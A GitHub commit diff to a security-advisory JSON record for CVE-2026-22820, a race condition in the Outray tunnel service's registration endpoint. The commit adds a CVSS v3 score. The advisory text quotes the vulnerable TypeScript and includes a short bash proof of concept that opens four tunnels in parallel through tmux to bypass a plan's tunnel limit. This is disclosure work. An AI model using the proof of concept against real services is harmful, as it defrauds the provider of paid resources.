Skip to content

Commit 37f666e

Browse files
1 parent 39d19d7 commit 37f666e

1 file changed

Lines changed: 5 additions & 1 deletion

File tree

advisories/github-reviewed/2026/01/GHSA-3pqc-836w-jgr7/GHSA-3pqc-836w-jgr7.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-3pqc-836w-jgr7",
4-
"modified": "2026-01-14T15:34:14Z",
4+
"modified": "2026-01-21T16:17:07Z",
55
"published": "2026-01-13T21:53:44Z",
66
"aliases": [
77
"CVE-2026-22820"
88
],
99
"summary": "Outray cli is vulnerable to race conditions in tunnels creation",
1010
"details": "### Summary\n\nA TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.\n\n### Details\n\nAffected conponent: `apps/web/src/routes/api/tunnel/register.ts`\n- `/tunnel/register` endpoint code-:\n\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n\n console.log(\n `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,\n );\n console.log(\n `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,\n );\n\n // Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n\n // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)\n // So we check if activeCount >= limit (not >)\n if (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n }\n console.log(\n `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,\n );\n } else {\n console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);\n }\n\n if (existingTunnel) {\n // Tunnel with this URL already exists, update lastSeenAt\n await db\n .update(tunnels)\n .set({ lastSeenAt: new Date() })\n .where(eq(tunnels.id, existingTunnel.id));\n\n return json({\n success: true,\n tunnelId: existingTunnel.id,\n });\n }\n\n // Create new tunnel record\n const tunnelRecord = {\n id: randomUUID(),\n url: tunnelUrl,\n userId,\n organizationId,\n name: name || null,\n protocol,\n remotePort: remotePort || null,\n lastSeenAt: new Date(),\n createdAt: new Date(),\n updatedAt: new Date(),\n };\n\n await db.insert(tunnels).values(tunnelRecord);\n\n return json({ success: true, tunnelId: tunnelRecord.id });\n } catch (error) {\n console.error(\"Tunnel registration error:\", error);\n return json({ error: \"Internal server error\" }, { status: 500 });\n }\n```\n- It checks if the tunnel exists in the database.\n```ts\n// Check if tunnel already exists in database\n const [existingTunnel] = await db\n .select()\n .from(tunnels)\n .where(eq(tunnels.url, tunnelUrl));\n\n const isReconnection = !!existingTunnel;\n```\n\n- Limit is checked here-:\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n\nif (!isReconnection) {\n\n// Count active tunnels from Redis SET\n\nconst activeCount = await redis.scard(setKey);\n\nconsole.log(\n\n`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n\n);\n```\n- Redis is checked for existing tunnel to check for reconnection.\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n if (!isReconnection) {\n // Count active tunnels from Redis SET\n const activeCount = await redis.scard(setKey);\n console.log(\n `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n );\n```\n\n- If the tunnel limit is exceeded, it pops up the tunnel limit error.\n\n```ts\nif (activeCount >= tunnelLimit) {\n console.log(\n `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n );\n return json(\n {\n error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n```\n- If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request\n\n```ts\nawait db.insert(tunnels).values(tunnelRecord);\n```\n- If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated row because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.\n\n### PoC\n\nUsing this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels.\n\n```bash\n#!/usr/bin/env bash\n\n# POC for Outray Tunnel Race condition\nSESSION=\"outray-race\"\nPORTS=(8090 4000 5000 6000)\n\n# Create new detached tmux session\ntmux new-session -d -s \"$SESSION\" \"echo '[*] outray race session started'; bash\"\n\n# Split the panes and run outray\nfor i in \"${!PORTS[@]}\"; do\n port=\"${PORTS[$i]}\"\n\n if [ \"$i\" -ne 0 ]; then\n tmux split-window -t \"$SESSION\" -h\n tmux select-layout -t \"$SESSION\" tiled\n fi\n\n tmux send-keys -t \"$SESSION\" \"echo '[*] Running outray on port $port'; outray $port\" C-m\ndone\n\ntmux set-window-option -t \"$SESSION\" synchronize-panes off\n\necho \"[+] tmux session '$SESSION' created\"\necho \"[+] Attach with: tmux attach -t $SESSION\"\n\n```\n\nRunning this\n\n```\nseeker@instance-20260106-20011$ bash kay.sh\n[+] tmux session 'outray-race' created\n[+] Attach with: tmux attach -t outray-race\n\nseeker@instance-20260106-20011$ tmux attach -t outray-race\n```\n\n<img width=\"1909\" height=\"1021\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85\" />\n\n\n<img width=\"1907\" height=\"936\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded\" />\n\n### Impact\n\nBy exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"

0 commit comments

Comments
 (0)